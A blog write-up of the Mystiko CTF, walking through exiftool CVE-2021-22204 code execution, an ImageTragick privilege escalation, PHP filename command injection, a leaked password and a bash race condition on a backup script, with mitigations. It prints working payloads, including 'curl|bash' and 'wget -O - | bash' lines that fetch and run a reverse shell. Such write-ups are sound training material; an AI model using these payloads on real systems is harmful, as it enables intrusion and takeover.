Home MystikoCTF Writeup

MystikoCTF Writeup

Mystiko CTF Writeup

by FreddieHits

This is the writeup for the main challenge I rooted in Mystiko CTF.

Scoring for this CTF was slightly odd:
Each flag was worth 100 points, and up to 400 points would be awarded for the writeup. As there were only 6 flags available (5 of which I scored), the writeups were a pretty crucial section, so I’ve spent a lot of time waffling and explaining every little step.
Additionally, due to time restrictions in the competition this is barely checked for grammar/technical issues.

That being said, I’m still posting this one to hopefully inspire some people to realise if a skid like me can do this, then they can too.

Pixel - Initial Machine

Initial Foothold

As per usual, we start off the challenge with a basic nmap scan, to enumerate what open ports are on the machine.

There are only two services publicly available:

  • SSH (22)
  • HTTP (8080)

We can visit the HTTP server on port 8080, and start manually playing with the application in order to see what it actually does.

It seems we can upload images, then play with some image filters and settings.

My immediate conclusion was that this must be a file upload vulnerability, and that I could inject something into the filename and that’d be that.

With the wonderful ability of hindsight, I can tell you that no, not only is this further from the truth, there are also no hidden directories of files on the webserver.

6 hours and 2 million words fuzzed later (I would not recommend doing this on an actual penetration test), my previous self came to the same conclusion.

It was only after a significant break, and a little time spent banging my head against a hard wall, I noticed something strange.

When a file is uploaded, there is a hidden element in the source code.

10.61 image/jpeg 25 kB 349x480

In fact, this looked rather familiar:

Could it perhaps be data from the tool exiftool, and that number at the top was the exiftool version?!

With just one small Google search, we can discover that yes, there is an exiftool version named 10.61, and better still there’s a public exploit for it


As the webserver returns very little feedback, we can locally install the exiftool version, then run the exploits against it.


To do so, we must first create a docker instance, to isolate the exiftool version, and just make things easier to work with generally:

docker run -v ~/Documents/THM/Mystiko/exif_exploit:/mnt/exploit -it debian bash

We can also create a shared volume, so that transferring malicious payloads between the docker image, and main host is easy.

The following script initializes the docker container, and installs the exploit and necessary tools.

apt update apt install git -y apt install bc -y cd /mnt/exploit git clone https://github.com/se162xg/CVE-2021-22204.git cd CVE-2021-22204 sed -i 's/sudo//g' craft_a_djvu_exploit.sh

The following script then installs the exploitable exiftool version.

cd /mnt apt install wget -y wget https://github.com/exiftool/exiftool/archive/refs/tags/10.61.tar.gz tar xzvf 10.61.tar.gz cd exiftool-10.61 perl Makefile.PL ./exiftool

We can give the exploit a test run by generating the basic image payload with the command id, then running exiftool against the generated image.

It works!
We have the local exploit running, now all that is needed is to run it remotely, should be easy right…

bash craft_a_djvu_exploit.sh "/usr/bin/wget"

However, when uploading the generated file from the above command, our HTTP server receives nothing.

We don’t know if the code is being executed properly, or if the requests are just being caught by a firewall, so let’s see if we can send ICMP (ping) packets through, as they’re less often restricted by firewalls (in boot2root machines, that is).

bash craft_a_djvu_exploit.sh "ping -c 2"

Our tcpdump picks up ICMP packets being sent from the server, so our code is being executed remotely!

After a lot of enumeration, and having no luck getting other payloads to work, I resort to a boolean enumeration method.

In bash && operator will only execute the second command, if the first command completes.

which curl && ping -c 2

So if curl is installed, the machine will ping us. Using this method, we can slowly exfiltrate information about the system.

Due to some weird voodoo magic, echoing strings, writing to files and using special characters like > and < breaks the command.
This means we can’t echo base64 strings into files, which makes it significantly harder to transfer files.

Fortunately, we still have access to the upload file functionality of the web application.
If we can find the uploads directory, we can upload scripts to aid our remote code execution.

We could use our incredibly slow and inefficient method of blindly searching for the directory, or we could use some slightly cursed CTF tactics.

You can take a guess which option I went with.

On the challenge author’s github, there is a (now deleted) repository containing the password protected source code of the application.

Despite our best efforts cracking the password, we are unable to view the source.
This doesn’t mean it is completely useless, however.

When we try to unzip the file we can see some very useful information:

This not only shows me it is a python web application running (most likely using flask), but also that the uploads are stored in /static/uploads.

As a Flask web application simply routes the directory locations, when you achieve remote code execution you simply end up in the root of the application - the same directory that contains the python server file (in this case: pixel.py).

To confirm that we are actually in the root of the application, we can run the following remotely:

ls pixel.py && ping -c 2

Fortunately, we receive two ping packets confirming this.

However, due to some shenanigans in the cursed code execution, we cannot simply cat static/uploads/[file], but instead have to change directories, then read the file.

Additionally, when trying to cd into static/uploads, it appears to not exist, but we can cd into s*/uploads.

Sometimes, it’s simply best to not ask questions as to why, and hope you don’t get hurt anymore.

I’ll let the timestamps talk for themselves on this one, really.

Swiftly moving on, we now have access to our uploaded files.
This means we can uploads bash scripts to be executed, then run them remotely.

Using our elegant, efficient, and definitely not broken bash script aios.sh, we can quickly grab a reverse shell:

We can upload the shell.jpg file to the server, to store it in the uploads directory.

Then to call our reverse shell payload, we simply generate a new malicious image using:

bash craft_a_djvu_exploit.sh "cd s*/uploads && bash shell.jpg"

and upload the generated delicate.jpg payload to the web application…

Voila - we have a shell!

Let’s stabilise this shell using the following:

$ python3 -c "import pty;pty.spawn('/bin/bash')" <Ctrl + Z> > stty raw -echo > fg <ENTER> <ENTER> $ export TERM=xterm

Privilege Escalation

One of the lowest hanging fruit is checking if the current user has any special abilities set in the sudoers file. We can do this using sudo -l

Luckily, the user not only has the ability to run /usr/bin/pixel as root, but also without a password!

When researching the convert program, we are taken to the ImageMagick suite of tools.

After a little more research, it appears the ImageMagick suite is vulnerable to an exploit aptly named ImageTragick.

Using the proof of concept found here: https://rhinosecuritylabs.com/research/imagemagick-exploit-remediation/, we can create our exploit.

push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"| [command]")' pop graphic-context

Once again, using the oh-so-useful AllinOneShell (aios.sh) script, we can create another reverse shell payload.

push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"| wget -O - | bash")' pop graphic-context

We get a root shell!

It’s now important to set up persistence so we don’t have to repeat the exploitation everytime we need a shell.


Note: please don’t use these persistence methods in a real life engagement.

When initially scanning the machine, we can see that the SSH service is running.
We can gain root persistence easily using this service.

By default, root SSH login is disabled in the sshd configuration file (/etc/ssh/sshd_config), so we must first enable it.

To put these changes into effect, we must restart the ssh service:

Nice, we can now login as root, so don’t have to worry about the god-awful webapp ever again.

Vulnerability Mitigations

It’s important to know how to be able to mitigate the vulnerabilities you are exploiting.

Fortunately for the development team at Mystiko, it’s really not too hard to fix.


The current version of exiftool at writing (12.36) is not vulnerable to CVE-2021-22204. This means by simply updating exiftool: sudo apt install libimage-exiftool-perl, the vulnerability would be patched.
Another positive is that the file upload functionality has undergone extensive testing, to which it has stood up to completely.
Beers should definitely be bought for the developers because of that one.


Similarly, the vulnerability exploited in the privilege escalation phase can also be patched by simply updating the software.
/usr/bin/convert is part of the ImageMagick suite of tools, so to fix:

sudo apt install imagemagick

It is also worth considering why the user pixel needs access to run the /usr/bin/pixel program as root, and why they do not even need their own password to do so.


Having access to SSH as root simplifies the pivoting process greatly.

We can start by downloading a static nmap binary from https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap.

We can then upload this binary to the machine using SCP, this will help us greatly.

In the ip information, we can our internal IP is

We could scan the subnet, looking for other active hosts with the command:

./nmap -T4 -v

However, the /16 subnet is rather large for our purposes, with 65534 hosts.

To save time, we can take an educated guess, and assume that if our IP address is, that there will be other machines at and

Using our machine as our pivot point, we can use nmap to scan these two discovered hosts.

Dev01 - Internal machine

Initial Foothold

For the first machine we scan, we can see the host name is dev01.ctf_default. This suggests that we should target this machine first, as it is the next challenge.

The web server (port 80) running on dev01 looks very interesting, so we need to employ a tactic called port forwarding to do so.

Fortunately for us, SSH is running, so we can use this to tunnel the webserver to our local IP address.

ssh -L root@

This means if we visit port 9000 on our localhost, we will be able to reach the internal webserver.

Like most web applications, we can start by scanning for directories using tools such as gobuster.

$ gobuster dir -u -w /opt/raft-small-words.txt [...] /developer (Status: 301) [Size: 317] [-->]

A couple of key bits of information stick out to me:
-> repo : A git repository?
-> epicdev420 : A unique username we haven’t seen before

Using this information, we can try perform some basic osint, and discover https://github.com/epicdev420.

Our lucky guess is confirmed by the repository name: Mystikocon2021ishere.

We can pull this repository, then extract the rar file, to acquire the source code for /developer:

There is one file that stands out to me in particular: filechecker.php.

Within that one file, one line stands out even more:

The filename is not being parsed correctly, so this application may be vulnerable to command injection!

When we visit the page, it seems we have the option to upload a file.
Let’s upload a file normally, then proxy the request through burpsuite.

We can send the request to the Repeater tab using Ctrl + R.

To break out of the echo command, we must inject a payload such as follows:

nice'; command #'

This would make the command passed to shell_exec() as follows:

echo 'nice'; command # >> test.txt

We can see this command injection works beautifully, if we inject the command sleep 10 the server takes over 11 seconds to respond.

However, there’s one small caveat when trying to gain a reverse shell - the special character / would crash the application.

This was quite a pain, but like always, we Tried Harder™.

We could make a curl request to a listener set up on the first machine we compromised (Pixel) using the filename: nice'; curl #

By default, curl tries to return the index.html page. If we move our shell.sh file to index.html, when curl retrieves the root of the webserver (index.html), it will grab our shell.sh file.

Then if we set up our reverse shell listener (on the compromised Pixel machine, to save us having to remote port forward), curl the webserver once more, then pipe it to bash instead:

nice'; curl|bash #

It works!!

We’ve got a foothold on the second machine.

Lateral Movement

When briefly enumerating the machine manually, we can see that there is one non-admin user: pixel.

This is odd, as there was also a user named pixel on the initial machine. After a little more manual enumeration, I wondered, “could they be the same user, with the same password?”.

This led me down the unfortunate rabbit hole of attempting to crack the bcrypt password of the pixel user on the first machine (from /etc/shadow). Unfortunately for me and my CPU, this was to no avail.

However, while searching on initial machine a little more, I did discover that the /root/.bash_history file was not linked to /dev/null like usual. This means any commands root previously ran were saved to this file.

At the very top of this file is one very interesting entry.

ssh pixel@dev01trunm90874RR

It’s almost like the user was trying to login to the pixel account on dev01, and “accidentally” pasted the password in the terminal instead.

Using this password trunm90874RR, we can login to the pixel account on dev01 from www-data.

We can now read /home/pixel/local.txt, for the third flag.

Privilege Escalation

Generally speaking on boot2root machines, if you have a user’s password and are trying to privesc, the first thing you should check is sudoers.

This allows us to execute the script as root, without even needing a password.

/opt/back.sh seems a custom created script, and the pixel user only has the read permission set.

When reading this file however, it seems oddly familiar somehow…

Due to my lack of social life, I recognised this file from the HTB machine Tenet, which I completed a few months ago. It essentially exploits a race condition in bash, so that we can overwrite a temporary file, while the root /opt/back.sh is using it.


I’ll let the notorious 0xdf explain this one in greater depth, as it seems only fair considering I used his script.

It’s worth noting there are one or two slight changes in the new script:

mystiko=$(/usr/bin/mktemp -u /tmp/mystiko-XXXXXX) /usr/bin/touch $mystiko;/usr/bin/chmod 777 $mystiko /usr/bin/echo "backup root public key...." /usr/bin/echo "[normal key]" > $mystiko /usr/bin/cat $mystiko > /root/.ssh/authorized_keys /usr/bin/sleep 1 /usr/bin/echo "backup done." /usr/bin/rm $mystiko

So we will adapt the exploit script to overwrite all temporary files by the name of /tmp/mystiko-*.

while true; do for file in /tmp/mystiko-*; do echo "[public key from 1st machine: /root/.ssh/id_rsa.pub]" > $file; done; done

Running the above bash script from a separate terminal, when we execute sudo /opt/back.sh, our public key gets inserted instead of the default key.

This allows the root user on the first machine to SSH into dev01 without need of a password.

From here, all we need to do is read the flag in /root/proof.txt to finish the machine.

Vulnerability Mitigations


The best advice to fix the code injection vulnerability is to remove the shell_exec function with the user input completely.

Instead, try something similar to:

$myfile = fopen("test.txt", "a+"); fwrite($myfile, $file_name); fclose($myfile);

This should have exactly the same effect as the previous shell_exec function.

It is also worth noting the the filename, filetype and file size are reflected back to us improperly. This means we can inject arbitrary HTML code in either of the variables, and achieve Cross-site scripting (XSS).

To prevent this, the server should use the htmlspecialchars() function any any user supplied input.

Lateral Movement

To prevent attacks gleaming sensitive information from the history files, you can link them to /dev/null, so no commands are stored.

ln -sf /dev/null /root/.bash_history

Additionally, it is recommended all users regularly update their passwords.
It was noted in /etc/login.defs, that the password expiration policy date was set to 99999 days, so the passwords would virtually never have to be reset.


Once again, it is questioned whether the user should have the sudo permissions on the backup file.
To prevent a race condition, the line chmod 777 $mystiko should be removed.
This would only allow the bash script to write to the temporary file, and would prevent exploitation in the manner previously described.




  • mystikoctf{8377e3e0acca54f1da34e40f028fabe5}
  • mystikoctf{3e3ed005320d4c091009e1d235fc9656}
  • mystikoctf{8c1b2bfba98e077b3ae19a30f52cb1df}
  • mystikoctf{8e805100ea1837d41032a796fc179020}


Thanks for making it to the end of this writeup.

I was fortunate enough to win the CTF, and consequently win the OSCP voucher.
So if you read through this writeup, and understood all the content, you too could win an OSCP voucher!

I’m currently working on a post to help beginners get started learning hacking for free (it can’t get more clickbaity than this right), and hopefully I should cover some tactics for winning these CTFs that aren’t just “Get Good”

As you can see from the below screenshot, there were only 5 competitors so if this doesn’t prove this was 99% luck I don’t know what will.

This post is licensed under CC BY 4.0 by the author.

Strace - Bash Keylogger


Comments powered by Disqus.